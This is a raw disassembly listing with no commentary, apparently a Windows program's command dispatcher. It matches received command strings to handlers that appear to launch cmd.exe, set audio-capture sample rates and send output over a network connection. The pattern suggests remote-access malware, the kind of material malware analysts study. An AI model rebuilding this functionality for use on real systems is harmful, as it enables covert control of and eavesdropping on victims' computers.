add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40816a
push 0
push dword [ebp - 0x14]
push 0xffffffffffffffff
push 0xa
push 0x160100d4
push 0x52010001
call fcn.0041ec45
add esp, 0x18
pop eax
pop ebx
pop ecx
jmp 0x40813c
add esp, 0xc
push 0x80000301
push 0
push 0x3c
push connect
push 0
push 1
push 0x70003
push 0x160100d4
push 0x52010001
push 3
mov eax, 6
mov ebx, 0x4799e0
call fcn.0041ec39
add esp, 0x28
jmp 0x4081b0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4081ce
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d8ac
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4082fb
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40820f
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d73b
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408241
mov dword [0x5e2b74], 1
jmp 0x40824b
mov dword [0x5e2b74], 0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x408269
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x408286
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [0x5e2b78], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 3
cmp eax, ecx
jl 0x4082bc
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x4082d9
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
mov dword [0x5e2b7c], eax
call fcn.0041190b
jmp 0x4082fb
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x408319
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d8b7
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4083af
push 0x80000301
push 0
push 0xffffffff
push connect
push 0
push 0
push 0x70003
push 0x160100d4
push 0x52010001
push 3
mov eax, 6
mov ebx, 0x4799e0
call fcn.0041ec39
add esp, 0x28
push reloc.WS2_32.dll_connect
push 0
push 0x59d8c2
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x4083af
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4083cd
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d8e8
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4086aa
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40840e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d8f3
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408440
mov dword [0x5e2b80], 1
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40845e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d8fa
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408490
mov dword [0x5e2b80], 2
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x4084ae
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push str.8000HZ
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4084e0
mov dword [0x5e2b84], 0x1f40
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x4084fe
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push str.11025HZ
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408530
mov dword [0x5e2b84], 0x2b11
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40854e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push str.22050HZ
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408580
mov dword [0x5e2b84], 0x5622
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40859e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push str.44100HZ
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4085d0
mov dword [0x5e2b84], 0xac44
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 3
cmp eax, ecx
jl 0x4085ee
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d728
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408620
mov dword [0x5e2b88], 8
jmp 0x4086a0
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 3
cmp eax, ecx
jl 0x40863e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d72c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408670
mov dword [0x5e2b88], 0x10
jmp 0x4086a0
push reloc.WS2_32.dll_connect
push 0
push 0x59d926
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
call fcn.00411cdc
jmp 0x4086aa
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4086c8
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d94b
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408720
push reloc.WS2_32.dll_connect
push 0
push 0x59d956
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x408720
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40873e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d97c
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4087d7
push 1
mov eax, 0x4fd423
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.0041205c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x408792
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4087a2
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x59d98c
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x4087d7
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4087f5
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d9b1
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4088d3
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x408836
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
call fcn.00412be8
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x408864
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push str.ZWcmd
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x408899
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4088ce
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x4088d3
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4088f1
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d9eb
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40893b
push 0
push 0x4fd3e4
push 0xffffffffffffffff
push 8
push 0x16010192
push 0x52010001
call fcn.0041ec45
add esp, 0x18
call fcn.0041305f
jmp 0x40893b
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x408959
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d9f3
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x408adb
push 0x80000301
push 0
push 0
push 1
mov eax, 2
mov ebx, 0x46b1a0
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4089c4
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4089c0
imul eax, dword [ebx]
jmp 0x4089b5
mov ecx, eax
test ecx, ecx
je 0x4089e3
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4089dc
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4089ca
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
call fcn.00406b43
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x408ad3
mov ebx, dword [ebp - 0x18]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x408a2b
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x408a3e
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59d9f8
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x408a73
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x408aa8
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push 1
push 1
mov eax, 3
mov ebx, 0x476600
call fcn.0041ec39
add esp, 0x10
pop eax
pop ebx
pop ecx
jmp 0x408a00
add esp, 0xc
jmp 0x408adb
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x408af9
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59da01
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4093b9
push 0x80000301
push 0
push 1
push 1
mov eax, 2
mov ebx, 0x46b1a0
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x408b64
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x408b60
imul eax, dword [ebx]
jmp 0x408b55
mov ecx, eax
test ecx, ecx
je 0x408b83
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x408b7c
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x408b6a
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x20]
call fcn.00406b43
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x408d3f
mov ebx, dword [ebp - 0x20]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x408bcb
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x408bde
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x20]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x408c03
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x408c16
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x408c33
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4201d0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fdiv qword [0x59da0a]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x59da12
push dword [ebp - 0x54]
push 0x59d62a
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59da23
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x408ccc
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x408cdf
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x408d14
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push 1
push 1
mov eax, 3
mov ebx, 0x476600
call fcn.0041ec39
add esp, 0x10
pop eax
pop ebx
pop ecx
jmp 0x408ba0
add esp, 0xc
push 0x80000301
push 0
push 2
push 1
mov eax, 2
mov ebx, 0x46b1a0
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x408d8a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x408d86
imul eax, dword [ebx]
jmp 0x408d7b
mov ecx, eax
test ecx, ecx
je 0x408da9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x408da2
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x408d90
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x24]
call fcn.00406b43
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x408f65
mov ebx, dword [ebp - 0x24]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x408df1
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x408e04
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x408e29
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x408e3c
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x408e59
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4201d0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fdiv qword [0x59da0a]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x59da30
push dword [ebp - 0x54]
push 0x59d62a
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59da23
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x408ef2
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x408f05
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x408f3a
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push 1
push 1
mov eax, 3
mov ebx, 0x476600
call fcn.0041ec39
add esp, 0x10
pop eax
pop ebx
pop ecx
jmp 0x408dc6
add esp, 0xc
push 0x80000301
push 0
push 3
push 1
mov eax, 2
mov ebx, 0x46b1a0
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x28]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x408fb0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x408fac
imul eax, dword [ebx]
jmp 0x408fa1
mov ecx, eax
test ecx, ecx
je 0x408fcf
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x408fc8
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x408fb6
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x28]
call fcn.00406b43
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40918b
mov ebx, dword [ebp - 0x28]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x409017
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40902a
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x28]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40904f
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x409062
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x40907f
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4201d0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fdiv qword [0x59da0a]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x59da41
push dword [ebp - 0x54]
push 0x59d62a
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59da23
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x409118
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x40912b
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x409160
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push 1
push 1
mov eax, 3
mov ebx, 0x476600
call fcn.0041ec39
add esp, 0x10
pop eax
pop ebx
pop ecx
jmp 0x408fec
add esp, 0xc
push 0x80000301
push 0
push 4
push 1
mov eax, 2
mov ebx, 0x46b1a0
call fcn.0041ec39
add esp, 0x10
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x2c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4091d6
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4091d2
imul eax, dword [ebx]
jmp 0x4091c7
mov ecx, eax
test ecx, ecx
je 0x4091f5
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4091ee
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4091dc
call fcn.0041ec1b
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00406b43
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4093b1
mov ebx, dword [ebp - 0x2c]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x40923d
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x409250
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x2c]
call fcn.00406acc
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x409275
push 4
call fcn.0041ec21
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x409288
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x4092a5
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4201d0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fdiv qword [0x59da0a]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x41f480
call fcn.0041ec2d
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x54], eax
push str.GBZW
push dword [ebp - 0x54]
push 0x59d62a
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59da23
mov ecx, 5
call fcn.0040110c
add esp, 0x14
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x40933e
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x409351
mov eax, 0x4fd3e4
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x409386
push ebx
call fcn.0041ec1b
add esp, 4
push 0x80000301
push 0
push 1
push 1
mov eax, 3
mov ebx, 0x476600
call fcn.0041ec39
add esp, 0x10
pop eax
pop ebx
pop ecx
jmp 0x409212
add esp, 0xc
jmp 0x4093b9
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4093d7
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59da65
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x409447
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x409418
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec45
add esp, 0x18
call fcn.004131cd
jmp 0x409447
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x409465
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59da7e
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x4094d5
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x4094a6
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0xffffffffffffffff
push 9
push 0x160101ab
push 0x52010001
call fcn.0041ec45
add esp, 0x18
call fcn.00413b3f
jmp 0x4094d5
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x4094f3
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59da91
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x409563
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x409534
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0
